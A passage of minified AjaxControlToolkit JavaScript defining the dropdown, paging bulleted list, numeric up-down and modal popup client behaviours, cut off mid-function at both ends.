Sys.CancelEventArgs;a.raiseShowing(b);a.raisePopup(b);if(b.get_cancel())return;a._isOpen=true;a.populate();(!a._dynamicPopulateBehavior||a._dynamicPopulateBehavior._populated&&a._cacheDynamicResults)&&a._showPopup()}},_showPopup:function(){this._dropPopupPopupBehavior.show();this.raiseShown(Sys.EventArgs.Empty)},hide:function(){var a=this;if(a._isOpen){var b=new Sys.CancelEventArgs;a.raiseHiding(b);if(b.get_cancel())return;a._isOpen=false;a._dropPopupPopupBehavior.hide();a.raiseHidden(Sys.EventArgs.Empty)}},_dropWrapperHoverBehavior_onhover:function(){this.hover()},_dropWrapperHoverBehavior_onunhover:function(){this.unhover()},_dropWrapper_onclick:function(b){var a=this;if(b.target.tagName!="A"){if(!a._isOpen)a.show();else a.hide();a._wasClicked=true}},_dropWrapper_oncontextmenu:function(a){if(a.target.tagName!="A"){this._wasClicked=true;a.preventDefault();this.show()}},_dropFrame_onclick:function(){var a=this;if(!a._isOpen)a.show();else a.hide();a._wasClicked=true},_dropFrame_oncontextmenu:function(a){this._wasClicked=true;a.preventDefault();this.show()},_dropDownControl_onclick:function(){},_dropDownControl_oncontextmenu:function(a){this._wasClicked=true;a.preventDefault()},_document_onclick:function(){var a=this;if(a._wasClicked)a._wasClicked=false;else if(a._isOpen){a.hide();a.unhover()}},_document_oncontextmenu:function(){var a=this;if(a._wasClicked)a._wasClicked=false;else if(a._isOpen){a.hide();a.unhover()}},_onPopulated:function(b,a){AjaxControlToolkit.DropDownBehavior.callBaseMethod(this,"_onPopulated",[b,a]);this._isOpen&&this._showPopup()},get_onShow:function(){return this._dropPopupPopupBehavior?this._dropPopupPopupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._dropPopupPopupBehavior)a._dropPopupPopupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._dropPopupPopupBehavior?this._dropPopupPopupBehavior.get_onShowBehavior():null},onShow:function(){this._dropPopupPopupBehavior&&this._dropPopupPopupBehavior.onShow()},get_onHide:function(){return this._dropPopupPopupBehavior?this._dropPopupPopupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._dropPopupPopupBehavior)a._dropPopupPopupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._dropPopupPopupBehavior?this._dropPopupPopupBehavior.get_onHideBehavior():null},onHide:function(){this._dropPopupPopupBehavior&&this._dropPopupPopupBehavior.onHide()},get_dropDownControl:function(){return this._dropDownControl},set_dropDownControl:function(a){if(this._dropDownControl!=a){this._dropDownControl=a;this.raisePropertyChanged("dropDownControl")}},get_highlightBorderColor:function(){return this._highlightBorderColor},set_highlightBorderColor:function(a){if(this._highlightBorderColor!=a){this._highlightBorderColor=a;this.raisePropertyChanged("highlightBorderColor")}},get_highlightBackgroundColor:function(){return this._highlightBackgroundColor},set_highlightBackgroundColor:function(b){var a=this;if(a._highlightBackgroundColor!=b){a._highlightBackgroundColor=b;if(a.get_isInitialized()&&a._isOpen)a._dropWrapper.style.backgroundColor=b;a.raisePropertyChanged("highlightBackgroundColor")}},get_dropArrowBackgroundColor:function(){return this._dropArrowBackgroundColor},set_dropArrowBackgroundColor:function(b){var a=this;if(a._dropArrowBackgroundColor!=b){a._dropArrowBackgroundColor=b;if(a.get_isInitialized())a._dropArrow.style.backgroundColor=b;a.raisePropertyChanged("dropArrowBackgroundColor")}},get_dropArrowImageUrl:function(){return this._dropArrowImageUrl},set_dropArrowImageUrl:function(b){var a=this;if(a._dropArrowImageUrl!=b){a._dropArrowImageUrl=b;if(a.get_isInitialized()){if(a._dropArrow.className){a._dropArrow.className="";a._dropArrowWrapper.style.display="block"}a._dropArrowImage.src=b}a.raisePropertyChanged("dropArrowImageUrl")}},get_dropArrowWidth:function(){return this._dropArrowWidth},set_dropArrowWidth:function(b){var a=this;if(a._dropArrowWidth!=b){a._dropArrowWidth=b;if(a.get_isInitialized())a._dropArrow.style.width=b;a.raisePropertyChanged("dropArrowWidth")}},get_isOver:function(){return this._isOver},get_isOpen:function(){return this._isOpen},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(b){var a=this.get_events().getHandler("shown");a&&a(this,b)},add_popup:function(a){this.get_events().addHandler("popup",a)},remove_popup:function(a){this.get_events().removeHandler("popup",a)},raisePopup:function(b){var a=this.get_events().getHandler("popup");a&&a(this,b)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)},add_hoverOver:function(a){this.get_events().addHandler("hoverOver",a)},remove_hoverOver:function(a){this.get_events().removeHandler("hoverOver",a)},raiseHoverOver:function(b){var a=this.get_events().getHandler("hoverOver");a&&a(this,b)},add_hoverOut:function(a){this.get_events().addHandler("hoverOut",a)},remove_hoverOut:function(a){this.get_events().removeHandler("hoverOut",a)},raiseHoverOut:function(b){var a=this.get_events().getHandler("hoverOut");a&&a(this,b)}};AjaxControlToolkit.DropDownBehavior.registerClass("AjaxControlToolkit.DropDownBehavior",AjaxControlToolkit.DynamicPopulateBehaviorBase);EType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.PagingBulletedListBehavior=function(c){var b=null,a=this;AjaxControlToolkit.PagingBulletedListBehavior.initializeBase(a,[c]);a._indexSizeValue=1;a._separatorValue=" - ";a._heightValue=b;a._maxItemPerPage=b;a._clientSortValue=false;a._selectIndexCssClassValue=b;a._unselectIndexCssClassValue=b;a._tabValue=[];a._tabValueObject=[];a._tabIndex=[];a._divContent=b;a._divContentIndex=b;a._divContentUl=b;a._prevIndexSelected=b;a._indexSelected=0;a._clickIndex=b};AjaxControlToolkit.PagingBulletedListBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.PagingBulletedListBehavior.callBaseMethod(a,"initialize");var g=a.get_ClientState();if(g){var d=g.split(";");if(d.length){a._indexSelected=d[0];if(d[1]=="null")a._indexSizeValue=null;else a._indexSizeValue=d[1];if(d[2]=="null")a._maxItemPerPage=null;else a._maxItemPerPage=d[2];if(d[3]=="true")a._clientSortValue=true;else a._clientSortValue=false}}var e=a.get_element();a._divContent=document.createElement("div");e.parentNode.insertBefore(a._divContent,e);var c=e.childNodes;a._clickIndex=Function.createDelegate(a,a._onIndexClick);var f,h;a._divContentIndex=document.createElement("DIV");a._divContentIndex.style.marginBottom="5px";a._divContent.appendChild(a._divContentIndex);for(var b=0;b<c.length;b++)if(c[b].nodeName=="LI"){if(c[b].firstChild&&c[b].firstChild.innerHTML)f=c[b].firstChild.innerHTML;else f=c[b].innerHTML;a._tabValueObject[a._tabValueObject.length]={text:f,obj:c[b],index:b}}a._clientSortValue&&a._tabValueObject.sort(a.liElementSortText);a._generateIndexAndTabForView();a._removeChilds(e.childNodes);a._divContentUl=document.createElement("DIV");a._changeHeightDivContent();a._divContentUl.appendChild(e);a._divContent.appendChild(a._divContentUl);a._updateIndexAndView(a._indexSelected)},_changeHeightDivContent:function(){var a=this;if(a._heightValue){a._divContentUl.style.overflow="scroll";a._divContentUl.style.height=a._heightValue+"px"}else{a._divContentUl.style.overflow="";a._divContentUl.style.height=""}},_createAHrefIndex:function(e,d){var b=this,c,a;a=document.createElement("a");a.href="";Sys.UI.DomElement.addCssClass(a,b._unselectIndexCssClassValue);a.innerHTML=e;a.tag=d;$addHandler(a,"click",b._clickIndex);b._tabIndex[b._tabIndex.length]=a;b._divContentIndex.appendChild(a);c=document.createElement("SPAN");c.innerHTML=""+b._separatorValue+"";b._divContentIndex.appendChild(c);return c},liElementSortText:function(a,b){if(a.text.toLowerCase()==b.text.toLowerCase())return 0;else if(a.text.toLowerCase()<b.text.toLowerCase())return -1;else return 1},liElementSortIndex:function(a,b){return a.index-b.index},_generateIndexAndTabForView:function(){var a=this;a._deleteTabIndexAndTabValue();a._tabValue=[];a._tabIndex=[];var d;a._removeChilds(a._divContentIndex.childNodes);if(a._maxItemPerPage){if(a._maxItemPerPage>0)for(var b=-1,c=0;c<a._tabValueObject.length;c++){if(c%a._maxItemPerPage==0){b++;index=a._tabValueObject[c].text;a._tabValue[b]=[];d=a._createAHrefIndex(index,b)}a._tabValue[b][a._tabValue[b].length]=a._tabValueObject[c].obj}}else if(a._indexSizeValue>0)for(var e="",b=-1,c=0;c<a._tabValueObject.length;c++){index=a._tabValueObject[c].text.substr(0,a._indexSizeValue).toUpperCase();if(e!=index){b++;a._tabValue[b]=[];d=a._createAHrefIndex(index,b);e=index}a._tabValue[b][a._tabValue[b].length]=a._tabValueObject[c].obj}d&&a._divContentIndex.removeChild(d)},_deleteTabIndexAndTabValue:function(){var a=this;if(a._clickIndex){for(var b=0;b<a._tabIndex.length;b++){var c=a._tabIndex[b];c&&$removeHandler(c,"click",a._clickIndex)}a._changeHandler=null}delete a._tabIndex;for(var b=0;b<a._tabValue.length;b++)delete a._tabValue[b];delete a._tabValue},dispose:function(){this._deleteTabIndexAndTabValue();delete this._tabValueObject;AjaxControlToolkit.PagingBulletedListBehavior.callBaseMethod(this,"dispose")},_removeChilds:function(a){for(var b=0;a.length;b++)a[0].parentNode.removeChild(a[0])},_renderHtml:function(c){var a=this,d=a.get_element();a._removeChilds(d.childNodes);for(var b=0;b<a._tabValue[c].length;b++)d.appendChild(a._tabValue[c][b]);a._divContentUl.scrollTop=0},_selectIndex:function(b){var a=this;if(a._tabIndex.length>0){Sys.UI.DomElement.removeCssClass(a._tabIndex[b],a._unselectIndexCssClassValue);Sys.UI.DomElement.addCssClass(a._tabIndex[b],a._selectIndexCssClassValue);a._prevIndexSelected=a._tabIndex[b];a.raiseIndexChanged(a._tabIndex[b])}},_onIndexClick:function(c){var a=this,d=a.get_element(),b=c.target;Sys.UI.DomElement.removeCssClass(a._prevIndexSelected,a._selectIndexCssClassValue);Sys.UI.DomElement.addCssClass(a._prevIndexSelected,a._unselectIndexCssClassValue);Sys.UI.DomElement.removeCssClass(b,a._unselectIndexCssClassValue);Sys.UI.DomElement.addCssClass(b,a._selectIndexCssClassValue);a._prevIndexSelected=b;a._renderHtml(b.tag);a.raiseIndexChanged(b);c.preventDefault()},add_indexChanged:function(a){this.get_events().addHandler("indexChanged",a)},remove_indexChanged:function(a){this.get_events().removeHandler("indexChanged",a)},raiseIndexChanged:function(b){var a=this;a._indexSelected=b.tag;var c=a.get_events().getHandler("indexChanged");if(c){if(!b)b=Sys.EventArgs.Empty;c(a,b)}a.set_ClientState(b.tag+";"+a.get_IndexSize()+";"+a.get_MaxItemPerPage()+";"+a.get_ClientSort())},get_tabIndex:function(){return this._tabIndex},get_tabValue:function(){return this._tabValue},_updateIndexAndView:function(b){var a=this;a._generateIndexAndTabForView();if(a._tabIndex.length>0)if(b<a._tabIndex.length){a._renderHtml(a._tabIndex[b].tag);a._selectIndex(b)}else{a._renderHtml(a._tabIndex[0].tag);a._selectIndex(0)}},get_Height:function(){return this._heightValue},set_Height:function(b){var a=this;if(a._heightValue!=b){a._heightValue=b;a.get_isInitialized()&&a._changeHeightDivContent();a.raisePropertyChanged("Height")}},get_IndexSize:function(){return this._indexSizeValue},set_IndexSize:function(b){var a=this;if(a._indexSizeValue!=b){a.set_ClientState("0;"+b+";"+a.get_MaxItemPerPage()+";"+a.get_ClientSort());a._indexSizeValue=b;a.get_isInitialized()&&a._updateIndexAndView(0);a.raisePropertyChanged("IndexSize")}},get_MaxItemPerPage:function(){return this._maxItemPerPage},set_MaxItemPerPage:function(b){var a=this;if(a._maxItemPerPage!=b){a.set_ClientState("0;"+a.get_IndexSize()+";"+b+";"+a.get_ClientSort());a._maxItemPerPage=b;a.get_isInitialized()&&a._updateIndexAndView(0);a.raisePropertyChanged("MaxItemPerPage")}},get_Separator:function(){return this._separatorValue},set_Separator:function(b){var a=this;if(a._separatorValue!=b){if(b)a._separatorValue=b;else a._separatorValue="";a.get_isInitialized()&&a._updateIndexAndView(0);a.raisePropertyChanged("Separator")}},get_ClientSort:function(){return this._clientSortValue},set_ClientSort:function(b){var a=this;if(a._clientSortValue!=b){a.set_ClientState("0;"+a.get_IndexSize()+";"+a.get_MaxItemPerPage()+";"+b);a._clientSortValue=b;if(a.get_isInitialized()){if(a._clientSortValue)a._tabValueObject.sort(a.liElementSortText);else a._tabValueObject.sort(a.liElementSortIndex);a._updateIndexAndView(0)}a.raisePropertyChanged("ClientSort")}},get_SelectIndexCssClass:function(){return this._selectIndexCssClassValue},set_SelectIndexCssClass:function(a){if(this._selectIndexCssClassValue!=a){this._selectIndexCssClassValue=a;this.raisePropertyChanged("SelectIndexCssClass")}},get_UnselectIndexCssClass:function(){return this._unselectIndexCssClassValue},set_UnselectIndexCssClass:function(a){if(this._unselectIndexCssClassValue!=a){this._unselectIndexCssClassValue=a;this.raisePropertyChanged("UnselectIndexCssClass")}}};AjaxControlToolkit.PagingBulletedListBehavior.registerClass("AjaxControlToolkit.PagingBulletedListBehavior",AjaxControlToolkit.BehaviorBase);q'Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.NumericUpDownBehavior=function(c){var b=null,a=this;AjaxControlToolkit.NumericUpDownBehavior.initializeBase(a,[c]);a._currentValue=b;a._widthValue=b;a._targetButtonUpIDValue=b;a._targetButtonDownIDValue=b;a._serviceUpPathValue=b;a._serviceUpMethodValue=b;a._serviceDownPathValue=b;a._serviceDownMethodValue=b;a._refValuesValue=b;a._tagValue=b;a._elementTextBox=b;a._step=1;a._min=-Number.MAX_VALUE;a._max=Number.MAX_VALUE;a._bUp=b;a._bDown=b;a._stepPrecision=0;a._valuePrecision=0;a._clickUpHandler=b;a._clickDownHandler=b;a._changeHandler=b};AjaxControlToolkit.NumericUpDownBehavior.prototype={initialize:function(){var q="Tahoma, Arial, sans-serif",p="Webdings",o="outset 1px",d="0",k="middle",j="24px",n="relative",i="px",a=this;AjaxControlToolkit.NumericUpDownBehavior.callBaseMethod(a,"initialize");$common.prepareHiddenElementForATDeviceUpdate();var b=a.get_element();a._elementTextBox=b;if(a._refValuesValue||a._serviceUpMethodValue||a._serviceDownMethodValue)a._elementTextBox.readOnly=true;else a._elementTextBox.readOnly=false;a.readValue();a._changeHandler=Function.createDelegate(a,a._onChange);$addHandler(b,"blur",a._changeHandler);if(a._targetButtonUpIDValue==""||a._targetButtonDownIDValue==""){a._widthValue=Math.max(a._widthValue,24);b.style.width=a._widthValue-24+i;b.style.textAlign="center";var c=document.createElement("DIV");c.style.position=n;c.style.width=a._widthValue+i;c.style.fontSize=b.clientHeight+i;c.style.height=b.clientHeight+i;c.style.paddingRight=j;if(!(Sys.Browser.agent==Sys.Browser.Firefox||Sys.Browser.agent==Sys.Browser.Safari))c.style.display="inline";else c.style.display="inline-block";b.parentNode.insertBefore(c,b);var e=document.createElement("TABLE"),l=document.createElement("TBODY"),m=document.createElement("TR"),r=document.createElement("TR"),f=document.createElement("TD"),h=document.createElement("TD"),g=document.createElement("TD");f.rowSpan="2";f.style.verticalAlign=k;h.style.verticalAlign=k;g.style.verticalAlign=k;m.appendChild(f);m.appendChild(h);r.appendChild(g);l.appendChild(m);l.appendChild(r);e.appendChild(l);c.appendChild(e);b.parentNode.removeChild(b);f.appendChild(b);e.style.borderCollapse="collapse";e.cellSpacing=d;e.cellPadding=d;e.style.display="inline";e.style.position=n;f.style.padding=d;h.style.padding=d;g.style.padding=d;f.style.margin=d;h.style.margin=d;g.style.margin=d}if(a._targetButtonUpIDValue==""){a._bUp=document.createElement("input");a._bUp.type="button";a._bUp.id=b.id+"_bUp";a._bUp.style.border=o;if(Sys.Browser.agent==Sys.Browser.InternetExplorer){a._bUp.style.fontFamily=p;a._bUp.style.fontSize="9pt";a._bUp.value="5"}else{a._bUp.style.fontFamily=q;a._bUp.style.fontSize="5pt";a._bUp.value="▲";a._bUp.style.fontWeight="bold";a._bUp.style.lineHeight="3pt"}a._bUp.style.height="12px";a._bUp.style.width=j;a._bUp.style.overflow="hidden";a._bUp.style.lineHeight="1em";h.appendChild(a._bUp)}if(a._targetButtonDownIDValue==""){a._bDown=document.createElement("input");a._bDown.type="button";a._bDown.id=b.id+"_bDown";a._bDown.style.border=o;if(Sys.Browser.agent==Sys.Browser.InternetExplorer){a._bDown.value="6";a._bDown.style.fontFamily=p;a._bDown.style.fontSize="9pt"}else{a._bDown.value="▼";a._bDown.style.fontFamily=q;a._bDown.style.fontSize="5pt";a._bDown.style.fontWeight="bold"}a._bDown.style.height="12px";a._bDown.style.lineHeight="3pt";a._bDown.style.width=j;a._bDown.style.overflow="hidden";g.appendChild(a._bDown)}if(a._bUp==null)a._bUp=document.getElementById(a._targetButtonUpIDValue);if(a._bUp){a._clickUpHandler=Function.createDelegate(a,a._clickUp);$addHandler(a._bUp,"click",a._clickUpHandler)}if(a._bDown==null)a._bDown=document.getElementById(a._targetButtonDownIDValue);if(a._bDown){a._clickDownHandler=Function.createDelegate(a,a._clickDown);$addHandler(a._bDown,"click",a._clickDownHandler)}},dispose:function(){var a=this;if(a._changeHandler){$removeHandler(a.get_element(),"blur",a._changeHandler);a._changeHandler=null}if(a._clickUpHandler)if(a._bUp){$removeHandler(a._bUp,"click",a._clickUpHandler);a._clickUpHandler=null}if(a._clickDownHandler)if(a._bDown){$removeHandler(a._bDown,"click",a._clickDownHandler);a._clickDownHandler=null}AjaxControlToolkit.NumericUpDownBehavior.callBaseMethod(a,"dispose")},add_currentChanged:function(a){this.get_events().addHandler("currentChanged",a)},remove_currentChanged:function(a){this.get_events().removeHandler("currentChanged",a)},raiseCurrentChanged:function(a){var b=this.get_events().getHandler("currentChanged");if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},_onChange:function(){var a=this;a.readValue();if(a._refValuesValue){a.setCurrentToTextBox(a._refValuesValue[a._currentValue]);if(a._elementTextBox)a._elementTextBox.readOnly=true}else{a.setCurrentToTextBox(a._currentValue);if(a._elementTextBox)a._elementTextBox.readOnly=a._serviceUpMethodValue||a._serviceDownMethodValue}},readValue:function(){var a=this;if(a._elementTextBox){var c=a._elementTextBox.value;if(!a._refValuesValue){if(!c)a._currentValue=a._min;else try{a._currentValue=parseFloat(c)}catch(e){a._currentValue=a._min}if(isNaN(a._currentValue))a._currentValue=a._min;a.setCurrentToTextBox(a._currentValue);a._valuePrecision=a._computePrecision(a._currentValue)}else{if(!c)a._currentValue=0;else{for(var d=0,b=0;b<a._refValuesValue.length;b++)if(c.toLowerCase()==a._refValuesValue[b].toLowerCase())d=b;a._currentValue=d}a.setCurrentToTextBox(a._refValuesValue[a._currentValue])}}},setCurrentToTextBox:function(c){var a=this;if(a._elementTextBox){a._elementTextBox.value=c;a.raiseCurrentChanged(c);if(document.createEvent){var b=document.createEvent("HTMLEvents");b.initEvent("change",true,false);a._elementTextBox.dispatchEvent(b)}else document.createEventObject&&a._elementTextBox.fireEvent("onchange")}},_incrementValue:function(b){var a=this,c=parseFloat((a._currentValue+b).toFixed(Math.max(a._stepPrecision,a._valuePrecision)));if(b>0)a._currentValue=Math.max(Math.min(c,a._max),a._min);else a._currentValue=Math.min(Math.max(c,a._min),a._max)},_computePrecision:function(b){if(b==Number.Nan)return this._min;var c=b.toString();if(c){var d=/\.(\d*)$/,a=c.match(d);if(a&&a.length==2&&a[1])return a[1].length}return this._min},get_Width:function(){return this._widthValue},set_Width:function(a){if(this._widthValue!=a){this._widthValue=a;this.raisePropertyChanged("Width")}},get_Tag:function(){return this._tagValue},set_Tag:function(a){if(this._tagValue!=a){this._tagValue=a;this.raisePropertyChanged("Tag")}},get_TargetButtonUpID:function(){return this._targetButtonUpIDValue},set_TargetButtonUpID:function(a){if(this._targetButtonUpIDValue!=a){this._targetButtonUpIDValue=a;this.raisePropertyChanged("TargetButtonUpID")}},get_TargetButtonDownID:function(){return this._targetButtonDownIDValue},set_TargetButtonDownID:function(a){if(this._targetButtonDownIDValue!=a){this._targetButtonDownIDValue=a;this.raisePropertyChanged("TargetButtonDownID")}},get_ServiceUpPath:function(){return this._serviceUpPathValue},set_ServiceUpPath:function(a){if(this._serviceUpPathValue!=a){this._serviceUpPathValue=a;this.raisePropertyChanged("ServiceUpPath")}},get_ServiceUpMethod:function(){return this._serviceUpMethodValue},set_ServiceUpMethod:function(b){var a=this;if(a._serviceUpMethodValue!=b){a._serviceUpMethodValue=b;a.raisePropertyChanged("ServiceUpMethod");if(a._elementTextBox)a._elementTextBox.readOnly=true}},get_ServiceDownPath:function(){return this._serviceDownPathValue},set_ServiceDownPath:function(a){if(this._serviceDownPathValue!=a){this._serviceDownPathValue=a;this.raisePropertyChanged("ServiceDownPath")}},get_ServiceDownMethod:function(){return this._serviceDownMethodValue},set_ServiceDownMethod:function(b){var a=this;if(a._serviceDownMethodValue!=b){a._serviceDownMethodValue=b;a.raisePropertyChanged("ServiceDownMethod");if(a._elementTextBox)a._elementTextBox.readOnly=true}},get_RefValues:function(){return this._refValuesValue?this._refValuesValue.join(";"):""},set_RefValues:function(b){var a=this;if(b!=""){a._refValuesValue=b.split(";");a._onChange();if(a._elementTextBox)a._elementTextBox.readOnly=true}else{a._refValuesValue=null;if(a._elementTextBox)a._elementTextBox.readOnly=false}a.raisePropertyChanged("RefValues")},get_Step:function(){return this._step},set_Step:function(b){var a=this;if(b!=a._step){a._step=b;a._stepPrecision=a._computePrecision(b);a.raisePropertyChanged("Step")}},get_Minimum:function(){return this._min},set_Minimum:function(a){if(a!=this._min){this._min=a;this.raisePropertyChanged("Minimum")}},get_Maximum:function(){return this._max},set_Maximum:function(a){if(a!=this._max){this._max=a;this.raisePropertyChanged("Maximum")}},_clickUp:function(b){var a=this;a.readValue();if(a._serviceUpPathValue&&a._serviceUpMethodValue){Sys.Net.WebServiceProxy.invoke(a._serviceUpPathValue,a._serviceUpMethodValue,false,{current:a._currentValue,tag:a._tagValue},Function.createDelegate(a,a._onMethodUpDownComplete));$common.updateFormToRefreshATDeviceBuffer()}else if(a._refValuesValue){if(a._currentValue+1<a._refValuesValue.length){a._currentValue=a._currentValue+1;a.setCurrentToTextBox(a._refValuesValue[a._currentValue])}}else{a._incrementValue(a._step);a.setCurrentToTextBox(a._currentValue)}b&&b.preventDefault();return false},_clickDown:function(b){var a=this;a.readValue();if(a._serviceDownPathValue&&a._serviceDownMethodValue){Sys.Net.WebServiceProxy.invoke(a._serviceDownPathValue,a._serviceDownMethodValue,false,{current:a._currentValue,tag:a._tagValue},Function.createDelegate(a,a._onMethodUpDownComplete));$common.updateFormToRefreshATDeviceBuffer()}else if(a._refValuesValue){if(a._currentValue-1>=0){a._currentValue=a._currentValue-1;a.setCurrentToTextBox(a._refValuesValue[a._currentValue])}}else{a._incrementValue(-a._step);a.setCurrentToTextBox(a._currentValue)}b&&b.preventDefault();return false},_onMethodUpDownComplete:function(a){this._currentValue=a;this.setCurrentToTextBox(this._currentValue)}};AjaxControlToolkit.NumericUpDownBehavior.registerClass("AjaxControlToolkit.NumericUpDownBehavior",AjaxControlToolkit.BehaviorBase);A7Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ModalPopupRepositionMode=function(){throw Error.invalidOperation();};AjaxControlToolkit.ModalPopupRepositionMode.prototype={None:0,RepositionOnWindowResize:1,RepositionOnWindowScroll:2,RepositionOnWindowResizeAndScroll:3};AjaxControlToolkit.ModalPopupRepositionMode.registerEnum("AjaxControlToolkit.ModalPopupRepositionMode");AjaxControlToolkit.ModalPopupBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.ModalPopupBehavior.initializeBase(a,[d]);a._PopupControlID=b;a._PopupDragHandleControlID=b;a._BackgroundCssClass=b;a._DropShadow=c;a._Drag=c;a._OkControlID=b;a._CancelControlID=b;a._OnOkScript=b;a._OnCancelScript=b;a._xCoordinate=-1;a._yCoordinate=-1;a._repositionMode=AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll;a._backgroundElement=b;a._foregroundElement=b;a._relativeOrAbsoluteParentElement=b;a._popupElement=b;a._dragHandleElement=b;a._showHandler=b;a._okHandler=b;a._cancelHandler=b;a._scrollHandler=b;a._resizeHandler=b;a._windowHandlersAttached=c;a._dropShadowBehavior=b;a._dragBehavior=b;a._isIE6=c;a._saveTabIndexes=[];a._saveDesableSelect=[];a._tagWithTabIndex=["A","AREA","BUTTON","INPUT","OBJECT","SELECT","TEXTAREA","IFRAME"]};AjaxControlToolkit.ModalPopupBehavior.prototype={initialize:function(){var b="click",a=this;AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(a,"initialize");a._isIE6=Sys.Browser.agent==Sys.Browser.InternetExplorer&&Sys.Browser.version<7;if(a._PopupDragHandleControlID)a._dragHandleElement=$get(a._PopupDragHandleControlID);a._popupElement=$get(a._PopupControlID);if(a._DropShadow){a._foregroundElement=document.createElement("div");a._foregroundElement.id=a.get_id()+"_foregroundElement";a._popupElement.parentNode.appendChild(a._foregroundElement);a._foregroundElement.appendChild(a._popupElement)}else a._foregroundElement=a._popupElement;a._backgroundElement=document.createElement("div");a._backgroundElement.id=a.get_id()+"_backgroundElement";a._backgroundElement.style.display="none";if(Sys.Browser.agent==Sys.Browser.InternetExplorer&&document.compatMode!="CSS1Compat")a._backgroundElement.style.position="absolute";else a._backgroundElement.style.position="fixed";a._backgroundElement.style.left="0px";a._backgroundElement.style.top="0px";a._backgroundElement.style.zIndex=1e4;if(a._BackgroundCssClass)a._backgroundElement.className=a._BackgroundCssClass;$common.appendElementToFormOrBody(a._foregroundElement);$common.appendElementToFormOrBody(a._backgroundElement);a._foregroundElement.style.display="none";a._foregroundElement.style.position="fixed";a._foregroundElement.style.zIndex=$common.getCurrentStyle(a._backgroundElement,"zIndex",a._backgroundElement.style.zIndex)+1;a._showHandler=Function.createDelegate(a,a._onShow);$addHandler(a.get_element(),b,a._showHandler);if(a._OkControlID){a._okHandler=Function.createDelegate(a,a._onOk);$addHandler($get(a._OkControlID),b,a._okHandler)}if(a._CancelControlID){a._cancelHandler=Function.createDelegate(a,a._onCancel);$addHandler($get(a._CancelControlID),b,a._cancelHandler)}a._scrollHandler=Function.createDelegate(a,a._onLayout);a._resizeHandler=Function.createDelegate(a,a._onLayout);a.registerPartialUpdateEvents()},dispose:function(){var c="click",b=null,a=this;a._hideImplementation();if(a._foregroundElement&&a._foregroundElement.parentNode){a._backgroundElement.parentNode.removeChild(a._backgroundElement);if(a._DropShadow){a._foregroundElement.parentNode.appendChild(a._popupElement);a._foregroundElement.parentNode.removeChild(a._foregroundElement)}}a._scrollHandler=b;a._resizeHandler=b;if(a._cancelHandler&&$get(a._CancelControlID)){$removeHandler($get(a._CancelControlID),c,a._cancelHandler);a._cancelHandler=b}if(a._okHandler&&$get(a._OkControlID)){$removeHandler($get(a._OkControlID),c,a._okHandler);a._okHandler=b}if(a._showHandler){$removeHandler(a.get_element(),c,a._showHandler);a._showHandler=b}AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(a,"dispose")},_attachPopup:function(){var b=null,a=this;if(a._DropShadow&&!a._dropShadowBehavior)a._dropShadowBehavior=$create(AjaxControlToolkit.DropShadowBehavior,{},b,b,a._popupElement);if(a._dragHandleElement&&!a._dragBehavior)a._dragBehavior=$create(AjaxControlToolkit.FloatingBehavior,{handle:a._dragHandleElement},b,b,a._foregroundElement);$addHandler(window,"resize",a._resizeHandler);$addHandler(window,"scroll",a._scrollHandler);a._windowHandlersAttached=true},_detachPopup:function(){var a=this;if(a._windowHandlersAttached){a._scrollHandler&&$removeHandler(window,"scroll",a._scrollHandler);a._resizeHandler&&$removeHandler(window,"resize",a._resizeHandler);a._windowHandlersAttached=false}if(a._dragBehavior){a._dragBehavior.dispose();a._dragBehavior=null}if(a._dropShadowBehavior){a._dropShadowBehavior.dispose();a._dropShadowBehavior=null}},_onShow:function(a){if(!this.get_element().disabled){this.show();a.preventDefault();return false}},_onOk:function(c){var a=this,b=$get(a._OkControlID);if(b&&!b.disabled){a.hide()&&a._OnOkScript&&window.setTimeout(a._OnOkScript,0);c.preventDefault();return false}},_onCancel:function(c){var a=this,b=$get(a._CancelControlID);if(b&&!b.disabled){a.hide()&&a._OnCancelScript&&window.setTimeout(a._OnCancelScript,0);c.preventDefault();return false}},_onLayout:function(c){var b=this,a=b.get_repositionMode();if((a===AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowScroll||a===AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll)&&c.type==="scroll")b._layout();else if((a===AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResize||a===AjaxControlToolkit.ModalPopupRepositionMode.RepositionOnWindowResizeAndScroll)&&c.type==="resize")b._layout();else b._layoutBackgroundElement()},show:function(){var c="absolute",a=this,d=new Sys.CancelEventArgs;a.raiseShowing(d);if(d.get_cancel())return;a.populate();a._attachPopup();a._backgroundElement.style.display="";a._foregroundElement.style.display="";a._popupElement.style.display="";if(a._isIE6){a._foregroundElement.style.position=c;a._backgroundElement.style.position=c;var b=a._foregroundElement.parentNode;while(b&&b!=document.documentElement)if(b.style.position!="relative"&&b.style.position!=c)b=b.parentNode;else{a._relativeOrAbsoluteParentElement=b;break}}a.disableTab();a._layout();a._layout();a.raiseShown(Sys.EventArgs.Empty)},disableTab:function(){var c=this,d=0,a,f=[];Array.clear(c._saveTabIndexes);for(var 